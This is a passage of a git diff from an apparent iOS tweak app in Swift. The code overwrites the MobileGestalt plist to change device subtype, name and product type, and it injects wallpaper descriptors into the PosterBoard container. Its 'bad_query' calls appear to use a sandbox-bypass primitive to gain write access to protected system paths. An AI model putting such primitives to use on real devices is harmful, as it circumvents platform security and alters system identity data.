"__DATA_CONST", "__const", &const_size)?.withMemoryRebound(to: UInt.self, capacity: const_size / 8) { $0 } + } + + guard let ptr else { return 0 } + for i in 0.. Int? { + let offset = cache_data_offset(key) + guard offset > 0, offset <= data.length - MemoryLayout.size else { return nil } + return offset +} + +let state = AppState.shared + +let mg_device_name_key = "mg_device_name" +var mg_device_name: String { + get { + UserDefaults.standard.string(forKey: mg_device_name_key) ?? "" + } + set { + UserDefaults.standard.set(newValue, forKey: mg_device_name_key) + } +} + +var og_st: Int = 0 +var selected_st: String = "og" + +var selected_st_value: Int { + switch selected_st { + case "og": + return og_st + case "no_dynamic_island": + return 0 + case "14p": + return 2436 + case "14pm": + return 2796 + case "15pm": + return 2976 + case "16p": + return 2622 + case "16pm": + return 2868 + case "air": + return 2736 + case "x": + return 2436 + default: + return 0 + } +} + +private var st_to_sel: [Int: String] { + [ + 0: "no_dynamic_island", + 2436: "14p", + 2796: "14pm", + 2976: "15pm", + 2622: "16p", + 2868: "16pm", + 2736: "air" + ] +} + +func tweak(_ title: String) -> mg_tweak? { + all_tweaks.first { $0.title == title } +} + +var is_loading: Bool = false +var is_empty: Bool = false + +var enable_device_name: Bool = false +var og_device_name: String = "" +var product_type: String = "" + +var is_valid: Bool = true + +func mg_load() { + guard !is_loading, mg_dict_now.count == 0 else { return } + is_loading = true + + let mg_url_now = URL(fileURLWithPath: TweakPaths.gestalt) + + DispatchQueue.global(qos: .userInitiated).async { + do { + let file_size = (try? FileManager.default.attributesOfItem(atPath: mg_url_now.path))?[.size] as? UInt64 ?? 0 + + let loaded_dict = try NSMutableDictionary(contentsOf: mg_url_now, error: ()) + + // this'll cache gestalt and put it in a safe place + let mg_url_saved = URL(fileURLWithPath: AppPaths.backups).appendingPathComponent("SavedGestalt.plist") + + if !FileManager.default.fileExists(atPath: mg_url_saved.path) { + try FileManager.default.copyItem(at: mg_url_now, to: mg_url_saved) + } + + // get original gestalt values + let mg_saved_dict = try NSMutableDictionary(contentsOf: mg_url_saved, error: ()) + let og_cache_extra = mg_saved_dict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() + let og_artwork = og_cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() + + guard let og_subtype = og_artwork["ArtworkDeviceSubType"] as? Int else { throw mg_view_err.missing_artwork_st } + guard let og_device_name = og_artwork["ArtworkDeviceProductDescription"] as? String else { throw mg_view_err.missing_artwork_device_name } + + let cache_extra = loaded_dict["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() + let artwork = cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() + + let new_selected_st = st_to_sel[artwork["ArtworkDeviceSubType"] as? Int ?? og_subtype] ?? "og" + let new_device_name = artwork["ArtworkDeviceProductDescription"] as? String ?? og_device_name + let new_enable_device_name = new_device_name != og_device_name + + let new_product_type: String + if let productType = cache_extra["h9jDsbgj7xIVeIQ8S3/X3Q"] as? String, !productType.isEmpty { + new_product_type = productType + } else { + new_product_type = machine_name() + } + + DispatchQueue.main.async { + mg_dict_now = loaded_dict + og_st = og_subtype + selected_st = new_selected_st + mg_device_name = new_device_name + enable_device_name = new_enable_device_name + product_type = new_product_type + is_valid = true + is_empty = file_size == 0 + is_loading = false + } + } catch { + DispatchQueue.main.async { + print("(mg) failed to load data: \(error)") + is_valid = false + is_empty = (try? FileManager.default.attributesOfItem(atPath: mg_url_now.path))?[.size] as? UInt64 == 0 + is_loading = false + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning.failed_to_load_mg", tableName: "GestaltView", comment: ""), body: NSLocalizedString("warning.restart_and_check_logs", tableName: "GestaltView", comment: "")) + } + } + } +} + +func mg_apply() { + do { + let cache_extra = mg_dict_now["CacheExtra"] as? NSMutableDictionary ?? NSMutableDictionary() + if !product_type.isEmpty { + cache_extra["h9jDsbgj7xIVeIQ8S3/X3Q"] = product_type + } + + let artwork_dict = cache_extra["oPeik/9e8lQWMszEjbPzng"] as? NSMutableDictionary ?? NSMutableDictionary() + artwork_dict["ArtworkDeviceSubType"] = selected_st_value + if enable_device_name { + artwork_dict["ArtworkDeviceProductDescription"] = mg_device_name + } + + let data = try PropertyListSerialization.data(fromPropertyList: mg_dict_now, format: .xml, options: 0) + + try mg_write(data) + mg_dict_now = NSMutableDictionary() + enable_device_name = false + + print("(mg) successfully overwrote mobilegestalt!") + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning.successfully_applyed_mg", tableName: "GestaltView", comment: ""), body: NSLocalizedString("warning.respring_to_take_effect", tableName: "GestaltView", comment: ""), actionLabel: NSLocalizedString("respring", comment:""), action: { + state.respring() + }) + } catch { + print("(mg) failed to apply mobilegestalt: \(error)") + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning.failed_to_apply_mg", tableName: "GestaltView", comment: ""), body: NSLocalizedString("warning.restart_and_check_logs", tableName: "GestaltView", comment: "")) + } +} + +func mg_revert() { + do { + let backup_url = URL(fileURLWithPath: AppPaths.backups).appendingPathComponent("SavedGestalt.plist") + let backup_data = try Data(contentsOf: backup_url) + try mg_write(backup_data) + + print("(mg) successfully reverted mobilegestalt!)") + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning.successfully_reverted_mg", tableName: "GestaltView", comment: ""), body: NSLocalizedString("warning.reboot_to_take_effect", tableName: "GestaltView", comment: "")) + } catch { + print("(mg) failed to revert mobilegestalt: \(error)") + AlertinatorLocalized.shared.alert(title: NSLocalizedString("warning.failed_to_revert_mg", tableName: "GestaltView", comment: ""), body: NSLocalizedString("warning.check_logs", tableName: "GestaltView", comment: "")) + } +} +private enum mg_write_err: Error { + case open(errno: Int32) + case truncate(errno: Int32) + case write(errno: Int32) + case sync(errno: Int32) + case rollback(errno: Int32) + case verificationFailed +} + +private func read_all(_ fd: Int32) throws -> Data { + var res = Data() + var buf = [UInt8](repeating: 0, count: 64 * 1024) + + while true { + let count = buf.withUnsafeMutableBytes { rawBuffer in + read(fd, rawBuffer.baseAddress, rawBuffer.count) + } + + if count > 0 { + res.append(buf, count: count) + continue + } + + if count == 0 { + return res + } + + if errno == EINTR { + continue + } + + throw mg_write_err.verificationFailed + } +} + +private func write_all(_ fd: Int32, _ data: Data) throws { + guard !data.isEmpty else { return } + + try data.withUnsafeBytes { rawBuffer in + guard let base = rawBuffer.baseAddress else { + throw mg_write_err.write(errno: EFAULT) + } + + var offset = 0 + + while offset < data.count { + let res = write( + fd, + base.advanced(by: offset), + data.count - offset + ) + + if res > 0 { + offset += res + continue + } + + if res < 0 && errno == EINTR { + continue + } + + throw mg_write_err.write(errno: errno) + } + } +} + +func mg_write(_ data: Data, to path: String) throws { + let og = try Data(contentsOf: URL(fileURLWithPath: path)) + + let fd = path.withCString { + open($0, O_RDWR | O_CLOEXEC | O_NOFOLLOW) + } + + guard fd >= 0 else { + throw mg_write_err.open(errno: errno) + } + + defer { + close(fd) + } + + do { + guard ftruncate(fd, 0) == 0 else { + throw mg_write_err.truncate(errno: errno) + } + + try write_all(fd, data) + + guard fsync(fd) == 0 else { + throw mg_write_err.sync(errno: errno) + } + + guard lseek(fd, 0, SEEK_SET) >= 0 else { + throw mg_write_err.verificationFailed + } + + let verify = try read_all(fd) + + guard verify == data else { + throw mg_write_err.verificationFailed + } + } catch { + if ftruncate(fd, 0) == 0, + lseek(fd, 0, SEEK_SET) >= 0 { + _ = try? write_all(fd, og) + _ = fsync(fd) + } + + throw error + } +} + +func mg_write(_ data: Data) throws { + let path = TweakPaths.gestalt + + if UserDefaults.standard.bool(forKey: "atomic_write") { + try mg_write(data, to: path) + } else { + let target_url = URL(fileURLWithPath: path) + let temp_url = target_url.deletingLastPathComponent() + .appendingPathComponent(".\(target_url.lastPathComponent).\(UUID().uuidString).tmp") + + try data.write(to: temp_url, options: [.withoutOverwriting]) + defer { try? fm.removeItem(at: temp_url) } + + if fm.fileExists(atPath: target_url.path) { + _ = try fm.replaceItemAt(target_url, withItemAt: temp_url) + } else { + try fm.moveItem(at: temp_url, to: target_url) + } + } +} + +var mg_dict_now: NSMutableDictionary = NSMutableDictionary() + +func mg_tweak_binding(_ tweak: mg_tweak) -> Binding { + Binding( + get: { + tweak.is_on(in: mg_dict_now) + }, + set: { enabled in + if enabled { + tweak.apply_on(to: mg_dict_now) + } else { + tweak.apply_off(to: mg_dict_now) + } + } + ) +} + +enum mg_view_err: Error, LocalizedError { + case missing_artwork_st + case missing_artwork_device_name + + var errorDescription: String? { + switch self { + case .missing_artwork_st: + return "Failed to get ArtworkDeviceSubType!" + case .missing_artwork_device_name: + return "Failed to get ArtworkDeviceProductDescription!" + } + } +} diff --git a/mond/helpers/posterboard/poster.swift b/mond/helpers/posterboard/poster.swift index fb1713f..b506942 100644 --- a/mond/helpers/posterboard/poster.swift +++ b/mond/helpers/posterboard/poster.swift @@ -1,290 +1,290 @@ -// -// poster.swift -// mond -// -// Created by ruter on 11.08.26. -// - -import Foundation -import ZIPFoundation - -enum pb_error: LocalizedError { - case container_404 - case not_zip(URL) - case no_descriptors(URL) - case access_denied(String) - - nonisolated var errorDescription: String? { - switch self { - case .container_404: - return "could not find the pb container." - case .not_zip(let url): - return "\(url.lastPathComponent) is not a valid tendies/zip archive." - case .no_descriptors(let url): - return "no descriptors found in \(url.lastPathComponent)." - case .access_denied(let path): - return "failed to gain write access to \(path)." - } - } -} - -enum pb { - static let pb_bid = "com.apple.PosterBoard" - static let collections_ext = "com.apple.WallpaperKit.CollectionsPoster" - static let photos_ext = "com.apple.PhotosUIPrivate.PhotosPosterProvider" - static let ext_version = "61" - static let container_roots = [ - "/var/mobile/Containers/Data/Application", - "/var/mobile/Containers/Data/InternalDaemon", - "/var/mobile/Containers/Data/PluginKitPlugin", - ] - - static func find_pb_container() throws -> URL { - for root in container_roots { - for child in list_containers(root) { - let child_url = URL(fileURLWithPath: child, isDirectory: true) - - let hidden = child_url.appendingPathComponent(".com.apple.mobile_container_manager.metadata.plist") - if let id = read_meta_key(at: hidden, key: "MCMMetadataIdentifier"), id == pb_bid { - return child_url - } - - let plain = child_url.appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") - if let id = read_meta_key(at: plain, key: "MCMMetadataIdentifier"), id == pb_bid { - return child_url - } - } - } - - throw pb_error.container_404 - } - - static func read_meta_key(at url: URL, key: String) -> String? { - var path_c = url.path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - guard handle >= 0 else { return nil } - defer { bad_query_release(handle) } - - guard let data = try? Data(contentsOf: url), - let plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] else { - return nil - } - - return plist[key] as? String - } - - static func poster_extensions_root(container: URL) -> URL { - container - .appendingPathComponent("Library") - .appendingPathComponent("Application Support") - .appendingPathComponent("PRBPosterExtensionDataStore") - .appendingPathComponent(ext_version) - .appendingPathComponent("Extensions") - } - - static func descriptors_url(container: URL, ext: String) -> URL { - poster_extensions_root(container: container) - .appendingPathComponent(ext) - .appendingPathComponent("descriptors") - } - - static func apply(at urls: [URL]) throws -> Int { - let container = try find_pb_container() - var written = 0 - - for url in urls { - let unzip_dir = try unzip(url) - defer { try? fm.removeItem(at: unzip_dir) } - - let descriptors = try find_descriptors(in: unzip_dir) - guard !descriptors.isEmpty else { throw pb_error.no_descriptors(url) } - - for (ext, folders) in descriptors { - for folder in folders { - guard folder.lastPathComponent != "__MACOSX" else { continue } - randomize_id(in: folder) - try write_descriptor(at: folder, container: container, ext: ext) - written += 1 - } - } - } - - return written - } - - static func reset() throws { - let container = try find_pb_container() - let root = poster_extensions_root(container: container) - - var root_c = root.path.utf8CString.map { Int8($0) } - let root_handle = bad_query(&root_c, true, nil, false, nil) - guard root_handle >= 0 else { return } - defer { bad_query_release(root_handle) } - - guard fm.fileExists(atPath: root.path) else { return } - - for ext in (try? fm.contentsOfDirectory(atPath: root.path)) ?? [] { - let desc_path = root.appendingPathComponent(ext).appendingPathComponent("descriptors") - guard fm.fileExists(atPath: desc_path.path) else { continue } - - var path_c = desc_path.path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - guard handle >= 0 else { continue } - defer { bad_query_release(handle) } - - for item in (try? fm.contentsOfDirectory(atPath: desc_path.path)) ?? [] { - try? fm.removeItem(at: desc_path.appendingPathComponent(item)) - } - } - } - - private static func unzip(_ url: URL) throws -> URL { - guard let data = try? Data(contentsOf: url), data.count >= 4, data[0] == 0x50, data[1] == 0x4B else { - throw pb_error.not_zip(url) - } - - let dest = fm.temporaryDirectory.appendingPathComponent(UUID().uuidString) - try fm.createDirectory(at: dest, withIntermediateDirectories: true) - try fm.unzipItem(at: url, to: dest) - - return dest - } - - private static func find_descriptors(in root: URL) throws -> [String: [URL]] { - var result: [String: [URL]] = [:] - - let top = try fm.contentsOfDirectory(at: root, includingPropertiesForKeys: [.isDirectoryKey], options: .skipsHiddenFiles) - - if let container = top.first(where: { $0.lastPathComponent.lowercased() == "container" }) { - let ext_dir = poster_extensions_root(container: container) - - if fm.fileExists(atPath: ext_dir.path) { - for ext in try fm.contentsOfDirectory(at: ext_dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) { - let d = ext.appendingPathComponent("descriptors") - if fm.fileExists(atPath: d.path) { - result[ext.lastPathComponent, default: []].append(contentsOf: descriptor_folders(in: d)) - } - } - - return result - } - } - - for dir in top { - switch dir.lastPathComponent.lowercased() { - case "video-descriptor", "video-descriptors": - result[photos_ext, default: []].append(contentsOf: descriptor_folders(in: dir)) - case "descriptor", "descriptors", "ordered-descriptor", "ordered-descriptors": - result[collections_ext, default: []].append(contentsOf: descriptor_folders(in: dir)) - default: - continue - } - } - - if !result.isEmpty { - return result - } - - if let enumerator = fm.enumerator(at: root, includingPropertiesForKeys: [.isDirectoryKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) { - for case let dir as URL in enumerator { - guard dir.lastPathComponent != "__MACOSX", - (try? dir.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) == true else { continue } - - if is_descriptor_container(dir) { - let ext = dir.lastPathComponent.lowercased().hasPrefix("video") ? photos_ext : collections_ext - result[ext, default: []].append(contentsOf: descriptor_folders(in: dir)) - } else if is_descriptor(dir) { - let ext = dir.lastPathComponent.lowercased().hasPrefix("video") ? photos_ext : collections_ext - result[ext, default: []].append(dir) - } - } - } - - return result - } - - private static func descriptor_folders(in dir: URL) -> [URL] { - guard let children = try? fm.contentsOfDirectory(at: dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) else { - return [] - } - - return children.filter { $0.lastPathComponent != "__MACOSX" } - } - - private static func is_descriptor_container(_ dir: URL) -> Bool { - switch dir.lastPathComponent.lowercased() { - case "descriptor", "descriptors", "ordered-descriptor", "ordered-descriptors", - "video-descriptor", "video-descriptors": - return true - default: - return false - } - } - - private static func is_descriptor(_ dir: URL) -> Bool { - guard let children = try? fm.contentsOfDirectory(at: dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) else { - return false - } - - return children.contains { $0.lastPathComponent == "com.apple.posterkit.provider.descriptor.identifier" } - } - - private static func write_descriptor(at src: URL, container: URL, ext: String) throws { - let dest_dir = descriptors_url(container: container, ext: ext) - try ensure_directory(at: dest_dir.path) - - var path_c = dest_dir.path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - defer { bad_query_release(handle) } - guard handle >= 0 else { throw pb_error.access_denied(dest_dir.path) } - - let dest_url = dest_dir.appendingPathComponent(UUID().uuidString) - if fm.fileExists(atPath: dest_url.path) { try? fm.removeItem(at: dest_url) } - try fm.copyItem(at: src, to: dest_url) - } - - static func ensure_directory(at path: String) throws { - if fm.fileExists(atPath: path) { return } - - let components = path.split(separator: "/").map(String.init) - var built = "" - var last_existing = "" - for part in components { - built += "/" + part - if fm.fileExists(atPath: built) { last_existing = built } - } - - let anchor = last_existing.isEmpty ? path : last_existing - var path_c = anchor.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - defer { bad_query_release(handle) } - guard handle >= 0 else { throw pb_error.access_denied(path) } - - try fm.createDirectory(atPath: path, withIntermediateDirectories: true) - } - - private static func randomize_id(in url: URL) { - let id = Int.random(in: 9999...99999) - guard let enumerator = fm.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) else { return } - - for case let file as URL in enumerator { - switch file.lastPathComponent { - case "com.apple.posterkit.provider.descriptor.identifier": - try? String(id).data(using: .utf8)?.write(to: file) - case "com.apple.posterkit.provider.contents.userInfo": - set_plist_val(key: "wallpaperRepresentingIdentifier", value: id, at: file) - case "Wallpaper.plist": - set_plist_val(key: "identifier", value: id, at: file) - default: - break - } - } - } - - private static func set_plist_val(key: String, value: Any, at file: URL) { - guard let data = fm.contents(atPath: file.path), var plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] else { return } - plist[key] = value - guard let updated = try? PropertyListSerialization.data(fromPropertyList: plist, format: .xml, options: 0) else { return } - try? updated.write(to: file) - } -} +// +// poster.swift +// mond +// +// Created by ruter on 11.08.26. +// + +import Foundation +import ZIPFoundation + +enum pb_error: LocalizedError { + case container_404 + case not_zip(URL) + case no_descriptors(URL) + case access_denied(String) + + nonisolated var errorDescription: String? { + switch self { + case .container_404: + return "could not find the pb container." + case .not_zip(let url): + return "\(url.lastPathComponent) is not a valid tendies/zip archive." + case .no_descriptors(let url): + return "no descriptors found in \(url.lastPathComponent)." + case .access_denied(let path): + return "failed to gain write access to \(path)." + } + } +} + +enum pb { + static let pb_bid = "com.apple.PosterBoard" + static let collections_ext = "com.apple.WallpaperKit.CollectionsPoster" + static let photos_ext = "com.apple.PhotosUIPrivate.PhotosPosterProvider" + static let ext_version = "61" + static let container_roots = [ + "/var/mobile/Containers/Data/Application", + "/var/mobile/Containers/Data/InternalDaemon", + "/var/mobile/Containers/Data/PluginKitPlugin", + ] + + static func find_pb_container() throws -> URL { + for root in container_roots { + for child in list_containers(root) { + let child_url = URL(fileURLWithPath: child, isDirectory: true) + + let hidden = child_url.appendingPathComponent(".com.apple.mobile_container_manager.metadata.plist") + if let id = read_meta_key(at: hidden, key: "MCMMetadataIdentifier"), id == pb_bid { + return child_url + } + + let plain = child_url.appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") + if let id = read_meta_key(at: plain, key: "MCMMetadataIdentifier"), id == pb_bid { + return child_url + } + } + } + + throw pb_error.container_404 + } + + static func read_meta_key(at url: URL, key: String) -> String? { + var path_c = url.path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + guard handle >= 0 else { return nil } + defer { bad_query_release(handle) } + + guard let data = try? Data(contentsOf: url), + let plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] else { + return nil + } + + return plist[key] as? String + } + + static func poster_extensions_root(container: URL) -> URL { + container + .appendingPathComponent("Library") + .appendingPathComponent("Application Support") + .appendingPathComponent("PRBPosterExtensionDataStore") + .appendingPathComponent(ext_version) + .appendingPathComponent("Extensions") + } + + static func descriptors_url(container: URL, ext: String) -> URL { + poster_extensions_root(container: container) + .appendingPathComponent(ext) + .appendingPathComponent("descriptors") + } + + static func apply(at urls: [URL]) throws -> Int { + let container = try find_pb_container() + var written = 0 + + for url in urls { + let unzip_dir = try unzip(url) + defer { try? fm.removeItem(at: unzip_dir) } + + let descriptors = try find_descriptors(in: unzip_dir) + guard !descriptors.isEmpty else { throw pb_error.no_descriptors(url) } + + for (ext, folders) in descriptors { + for folder in folders { + guard folder.lastPathComponent != "__MACOSX" else { continue } + randomize_id(in: folder) + try write_descriptor(at: folder, container: container, ext: ext) + written += 1 + } + } + } + + return written + } + + static func reset() throws { + let container = try find_pb_container() + let root = poster_extensions_root(container: container) + + var root_c = root.path.utf8CString.map { Int8($0) } + let root_handle = bad_query(&root_c, true, nil, false, nil) + guard root_handle >= 0 else { return } + defer { bad_query_release(root_handle) } + + guard fm.fileExists(atPath: root.path) else { return } + + for ext in (try? fm.contentsOfDirectory(atPath: root.path)) ?? [] { + let desc_path = root.appendingPathComponent(ext).appendingPathComponent("descriptors") + guard fm.fileExists(atPath: desc_path.path) else { continue } + + var path_c = desc_path.path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + guard handle >= 0 else { continue } + defer { bad_query_release(handle) } + + for item in (try? fm.contentsOfDirectory(atPath: desc_path.path)) ?? [] { + try? fm.removeItem(at: desc_path.appendingPathComponent(item)) + } + } + } + + private static func unzip(_ url: URL) throws -> URL { + guard let data = try? Data(contentsOf: url), data.count >= 4, data[0] == 0x50, data[1] == 0x4B else { + throw pb_error.not_zip(url) + } + + let dest = fm.temporaryDirectory.appendingPathComponent(UUID().uuidString) + try fm.createDirectory(at: dest, withIntermediateDirectories: true) + try fm.unzipItem(at: url, to: dest) + + return dest + } + + private static func find_descriptors(in root: URL) throws -> [String: [URL]] { + var result: [String: [URL]] = [:] + + let top = try fm.contentsOfDirectory(at: root, includingPropertiesForKeys: [.isDirectoryKey], options: .skipsHiddenFiles) + + if let container = top.first(where: { $0.lastPathComponent.lowercased() == "container" }) { + let ext_dir = poster_extensions_root(container: container) + + if fm.fileExists(atPath: ext_dir.path) { + for ext in try fm.contentsOfDirectory(at: ext_dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) { + let d = ext.appendingPathComponent("descriptors") + if fm.fileExists(atPath: d.path) { + result[ext.lastPathComponent, default: []].append(contentsOf: descriptor_folders(in: d)) + } + } + + return result + } + } + + for dir in top { + switch dir.lastPathComponent.lowercased() { + case "video-descriptor", "video-descriptors": + result[photos_ext, default: []].append(contentsOf: descriptor_folders(in: dir)) + case "descriptor", "descriptors", "ordered-descriptor", "ordered-descriptors": + result[collections_ext, default: []].append(contentsOf: descriptor_folders(in: dir)) + default: + continue + } + } + + if !result.isEmpty { + return result + } + + if let enumerator = fm.enumerator(at: root, includingPropertiesForKeys: [.isDirectoryKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) { + for case let dir as URL in enumerator { + guard dir.lastPathComponent != "__MACOSX", + (try? dir.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) == true else { continue } + + if is_descriptor_container(dir) { + let ext = dir.lastPathComponent.lowercased().hasPrefix("video") ? photos_ext : collections_ext + result[ext, default: []].append(contentsOf: descriptor_folders(in: dir)) + } else if is_descriptor(dir) { + let ext = dir.lastPathComponent.lowercased().hasPrefix("video") ? photos_ext : collections_ext + result[ext, default: []].append(dir) + } + } + } + + return result + } + + private static func descriptor_folders(in dir: URL) -> [URL] { + guard let children = try? fm.contentsOfDirectory(at: dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) else { + return [] + } + + return children.filter { $0.lastPathComponent != "__MACOSX" } + } + + private static func is_descriptor_container(_ dir: URL) -> Bool { + switch dir.lastPathComponent.lowercased() { + case "descriptor", "descriptors", "ordered-descriptor", "ordered-descriptors", + "video-descriptor", "video-descriptors": + return true + default: + return false + } + } + + private static func is_descriptor(_ dir: URL) -> Bool { + guard let children = try? fm.contentsOfDirectory(at: dir, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) else { + return false + } + + return children.contains { $0.lastPathComponent == "com.apple.posterkit.provider.descriptor.identifier" } + } + + private static func write_descriptor(at src: URL, container: URL, ext: String) throws { + let dest_dir = descriptors_url(container: container, ext: ext) + try ensure_directory(at: dest_dir.path) + + var path_c = dest_dir.path.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + defer { bad_query_release(handle) } + guard handle >= 0 else { throw pb_error.access_denied(dest_dir.path) } + + let dest_url = dest_dir.appendingPathComponent(UUID().uuidString) + if fm.fileExists(atPath: dest_url.path) { try? fm.removeItem(at: dest_url) } + try fm.copyItem(at: src, to: dest_url) + } + + static func ensure_directory(at path: String) throws { + if fm.fileExists(atPath: path) { return } + + let components = path.split(separator: "/").map(String.init) + var built = "" + var last_existing = "" + for part in components { + built += "/" + part + if fm.fileExists(atPath: built) { last_existing = built } + } + + let anchor = last_existing.isEmpty ? path : last_existing + var path_c = anchor.utf8CString.map { Int8($0) } + let handle = bad_query(&path_c, true, nil, false, nil) + defer { bad_query_release(handle) } + guard handle >= 0 else { throw pb_error.access_denied(path) } + + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + } + + private static func randomize_id(in url: URL) { + let id = Int.random(in: 9999...99999) + guard let enumerator = fm.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) else { return } + + for case let file as URL in enumerator { + switch file.lastPathComponent { + case "com.apple.posterkit.provider.descriptor.identifier": + try? String(id).data(using: .utf8)?.write(to: file) + case "com.apple.posterkit.provider.contents.userInfo": + set_plist_val(key: "wallpaperRepresentingIdentifier", value: id, at: file) + case "Wallpaper.plist": + set_plist_val(key: "identifier", value: id, at: file) + default: + break + } + } + } + + private static func set_plist_val(key: String, value: Any, at file: URL) { + guard let data = fm.contents(atPath: file.path), var plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] else { return } + plist[key] = value + guard let updated = try? PropertyListSerialization.data(fromPropertyList: plist, format: .xml, options: 0) else { return } + try? updated.write(to: file) + } +} \ No newline at end of file diff --git a/mond/helpers/posterboard/tendies.swift b/mond/helpers/posterboard/tendies.swift index 4ff9e29..976ef2d 100644 --- a/mond/helpers/posterboard/tendies.swift +++ b/mond/helpers/posterboard/tendies.swift @@ -1,129 +1,129 @@ -// -// tendies.swift -// mond -// -// Created by ruter on 15.08.26. -// - -import Foundation -import Observation - -struct tendies: Identifiable, Codable, Hashable { - let id: Int - let name: String - let description: String? - let url: String - let preview: String - let authors: String? - let contest: String? - - enum CodingKeys: String, CodingKey { - case id - case name - case description - case url - case preview - case authors - case contest - } - - var preview_url: URL? { - URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/\(preview)") - } - - var download_url: URL? { - URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/\(url)") - } -} - -struct tendies_service { - private let custom = URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/wallpapers-custom.json")! - private let apple = URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/wallpapers-apple.json")! - - private func fetch(from url: URL) async throws -> [tendies] { - let (data, response) = try await URLSession.shared.data(from: url) - - guard let response = response as? HTTPURLResponse, - 200..<300 ~= response.statusCode else { - throw URLError(.badServerResponse) - } - - return try JSONDecoder().decode([tendies].self, from: data) - } - - func fetch_tendies() async throws -> [tendies] { - async let custom = fetch(from: custom) - async let apple = fetch(from: apple) - - let (custom_tendies, apple_tendies) = try await (custom, apple) - - return (custom_tendies + apple_tendies) - .uniqued() - } -} - -private extension Array where Element: Hashable { - func uniqued() -> [Element] { - var seen = Set() - return filter { seen.insert($0).inserted } - } -} - -func download_tendies(_ wallpaper: tendies) async throws -> URL { - guard let url = wallpaper.download_url else { - throw URLError(.badURL) - } - - let (data, response) = try await URLSession.shared.data(from: url) - guard let response = response as? HTTPURLResponse, - 200..<300 ~= response.statusCode else { - throw URLError(.badServerResponse) - } - - let destination = URL(fileURLWithPath: AppPaths.tendies, isDirectory: true) - .appendingPathComponent(url.lastPathComponent) - try data.write(to: destination, options: .atomic) - return destination -} - -@Observable -@MainActor -final class TendiesVM { - private let service = tendies_service() - - var wallpapers: [tendies] = [] - var query = "" - var loading = false - var error_msg: String? - - var filtered: [tendies] { - guard !query.isEmpty else { - return wallpapers - } - - return wallpapers.filter { - $0.name.localizedCaseInsensitiveContains(query) || - ($0.description ?? "").localizedCaseInsensitiveContains(query) || - ($0.authors ?? "").localizedCaseInsensitiveContains(query) - } - } - - func load() async { - guard !loading else { return } - - loading = true - error_msg = nil - - do { - wallpapers = try await service.fetch_tendies() - } catch { - error_msg = error.localizedDescription - } - - loading = false - } - - func retry() async { - await load() - } -} +// +// tendies.swift +// mond +// +// Created by ruter on 15.08.26. +// + +import Foundation +import Observation + +struct tendies: Identifiable, Codable, Hashable { + let id: Int + let name: String + let description: String? + let url: String + let preview: String + let authors: String? + let contest: String? + + enum CodingKeys: String, CodingKey { + case id + case name + case description + case url + case preview + case authors + case contest + } + + var preview_url: URL? { + URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/\(preview)") + } + + var download_url: URL? { + URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/\(url)") + } +} + +struct tendies_service { + private let custom = URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/wallpapers-custom.json")! + private let apple = URL(string: "https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/main/wallpapers-apple.json")! + + private func fetch(from url: URL) async throws -> [tendies] { + let (data, response) = try await URLSession.shared.data(from: url) + + guard let response = response as? HTTPURLResponse, + 200..<300 ~= response.statusCode else { + throw URLError(.badServerResponse) + } + + return try JSONDecoder().decode([tendies].self, from: data) + } + + func fetch_tendies() async throws -> [tendies] { + async let custom = fetch(from: custom) + async let apple = fetch(from: apple) + + let (custom_tendies, apple_tendies) = try await (custom, apple) + + return (custom_tendies + apple_tendies) + .uniqued() + } +} + +private extension Array where Element: Hashable { + func uniqued() -> [Element] { + var seen = Set() + return filter { seen.insert($0).inserted } + } +} + +func download_tendies(_ wallpaper: tendies) async throws -> URL { + guard let url = wallpaper.download_url else { + throw URLError(.badURL) + } + + let (data, response) = try await URLSession.shared.data(from: url) + guard let response = response as? HTTPURLResponse, + 200..<300 ~= response.statusCode else { + throw URLError(.badServerResponse) + } + + let destination = URL(fileURLWithPath: AppPaths.tendies, isDirectory: true) + 